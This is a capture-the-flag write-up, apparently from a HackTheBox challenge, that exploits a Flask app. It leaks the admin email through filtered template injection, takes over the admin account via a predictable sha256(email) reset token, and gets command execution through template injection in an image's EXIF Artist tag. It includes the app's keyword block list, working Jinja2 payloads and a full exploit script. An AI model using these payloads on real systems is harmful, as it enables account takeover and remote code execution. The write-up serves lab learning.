$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Exploit a Flask app with multiple SSTI injection points, EXIF metadata processing, and predictable password reset tokens. Solution: Leak admin email via filtered bio SSTI using User ORM object in template context, reset admin password using sha256(email) token, then exploit unfiltered SSTI in EXIF Artist tag using lipsum.__globals__ to read the flag file.
"Welcome to the Guild! But please wait until our Guild Master verify you. Thanks for the wait"
Flask web application with user registration, verification system, and admin panel.
Key files:
views.py - Main routes including verification, profile, admin panelauth.py - Authentication routesmodels.py - User, Verification, Validlinks modelsLocation: /user/<link> route (line 242-243 in views.py)
bio = Verification.query.filter_by(user_id=query1.id).first().bio temp = open("/app/website/templates/newtemplate/shareprofile.html", "r").read() return render_template_string(temp % bio, User=User, Email=email, username=query1.username)
The bio field is inserted via %s into template and rendered with render_template_string. However, there's a filter (checkInput()) blocking many keywords:
payloads = [ "*", "script", "alert", "debug", "%", "include", "html", "if", "for", "config", "img", "src", ".py", "main", "herf", "pre", "class", "subclass", "base", "mro", "__", "[", "]", "def", "return", "self", "os", "popen", "init", "globals", "base", "class", "request", "attr", "args", "eval", "newInstance", "getEngineByName", "getClass", "join" ]
Key observation: The User object is passed to the template context! This allows ORM queries without using blocked keywords.
Location: /verify route (line 137-141 in views.py)
if "Artist" in exif_table.keys(): sec_code = exif_table["Artist"] query.verified = 1 db.session.commit() return render_template_string("Verified! {}".format(sec_code))
The EXIF "Artist" tag from uploaded images is directly passed to render_template_string without any filtering! This is the critical vulnerability.
reset_url = str(hashlib.sha256(email.encode()).hexdigest())
The password reset token is simply sha256(email) - completely predictable if you know the email.
The bio SSTI has filtering, but User object is passed to template. We can query the database:
{{ User.query.filter_by(username="admin").first().email }}
This bypasses the filter (no blocked keywords used) and returns: [email protected]
Calculate reset hash:
import hashlib admin_email = "[email protected]" reset_hash = hashlib.sha256(admin_email.encode()).hexdigest() # POST to /changepasswd/<reset_hash> with new password
Using exiftool to embed payload in Artist tag:
exiftool -Artist='{{lipsum.__globals__.__builtins__.open(lipsum.__globals__.os.path.join(lipsum.__globals__.os.path.dirname(config.root_path),"flag.txt")).read()}}' image.jpg
The payload uses:
lipsum.__globals__ to access Python globals (lipsum is a Jinja2 built-in)__builtins__.open() to read filesos.path.join() and os.path.dirname(config.root_path) to build path /app/flag.txtRegister new user, upload the malicious image for verification.
Login as admin, go to admin panel, click verify on the uploaded image. The SSTI payload executes and returns the flag.
#!/usr/bin/env python3 import requests import hashlib import io from PIL import Image import subprocess import tempfile import os import random import string import re import html TARGET = "http://94.237.122.188:51088" def rand_str(n=8): return "".join(random.choices(string.ascii_lowercase, k=n)) def test_exif_payload(admin_session, payload, debug=False): """Test a payload via EXIF Artist tag""" img = Image.new("RGB", (100, 100), color="blue") with tempfile.NamedTemporaryFile(suffix=".jpg", delete=False) as f: img.save(f, format="JPEG") temp_path = f.name result = subprocess.run( ["exiftool", f"-Artist={payload}", "-overwrite_original", temp_path], capture_output=True, text=True, ) with open(temp_path, "rb") as f: img_data = f.read() os.unlink(temp_path) # Create attacker user and upload image attacker = requests.Session() attacker_name = rand_str() attacker.post( f"{TARGET}/signup", data={ "email": f"{attacker_name}@test.com", "username": attacker_name, "password": "pass", }, ) attacker.post( f"{TARGET}/login", data={"username": attacker_name, "password": "pass"} ) attacker.post( f"{TARGET}/verification", files={"file": ("exploit.jpg", img_data, "image/jpeg")}, ) # Admin verifies the image r = admin_session.get(f"{TARGET}/admin") verifications = re.findall(r'name="verification_id" value="(\d+)"', r.text) user_ids = re.findall(r'name="user_id" value="(\d+)"', r.text) if verifications: verf_id = verifications[-1] user_id = user_ids[-1] r = admin_session.post( f"{TARGET}/verify", data={"user_id": user_id, "verification_id": verf_id} ) if "Verified! " in r.text: result = r.text.split("Verified! ", 1)[1] result = html.unescape(result) return result return None # === STEP 1: Leak admin email via bio SSTI === print("[*] Step 1: Leaking admin email...") s1 = requests.Session() user1 = rand_str() s1.post( f"{TARGET}/signup", data={"email": f"{user1}@test.com", "username": user1, "password": "pass"}, ) s1.post(f"{TARGET}/login", data={"username": user1, "password": "pass"}) # Upload dummy image for verification img = Image.new("RGB", (100, 100), color="red") img_bytes = io.BytesIO() img.save(img_bytes, format="JPEG") img_bytes.seek(0) s1.post( f"{TARGET}/verification", files={"file": ("test.jpg", img_bytes.getvalue(), "image/jpeg")}, ) # Create share link and set bio with SSTI payload s1.get(f"{TARGET}/getlink") s1.post( f"{TARGET}/profile", data={"bio": '{{ User.query.filter_by(username="admin").first().email }}'}, ) # Read the leaked email r = s1.get(f"{TARGET}/user/{user1}") match = re.search(r'<p class="para-class">([^<]+)</p>', r.text) ADMIN_EMAIL = match.group(1).strip() print(f"[+] Admin email: {ADMIN_EMAIL}") # === STEP 2: Reset admin password === print("[*] Step 2: Resetting admin password...") admin = requests.Session() admin.post(f"{TARGET}/forgetpassword", data={"email": ADMIN_EMAIL}) reset_hash = hashlib.sha256(ADMIN_EMAIL.encode()).hexdigest() admin.post(f"{TARGET}/changepasswd/{reset_hash}", data={"password": "hacked123"}) admin.post(f"{TARGET}/login", data={"username": "admin", "password": "hacked123"}) print("[+] Admin session ready") # === STEP 3-5: SSTI via EXIF to read flag === print("[*] Step 3-5: Exploiting EXIF SSTI...") path_expr = "lipsum.__globals__.os.path.join(lipsum.__globals__.os.path.dirname(config.root_path),'flag.txt')" payload = "{{lipsum.__globals__.__builtins__.__import__('subprocess').check_output('cat '+"+path_expr+",shell=True)}}" result = test_exif_payload(admin, payload) print(f"[+] FLAG: {result}")
Use this technique when you see:
render_template_string() with user-controlled inputUser) passed to template contextsha256(email) is not a secure reset token - use cryptographically random tokenslipsum.__globals__ provides access to Python globals without using __class__, __mro__, etc.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar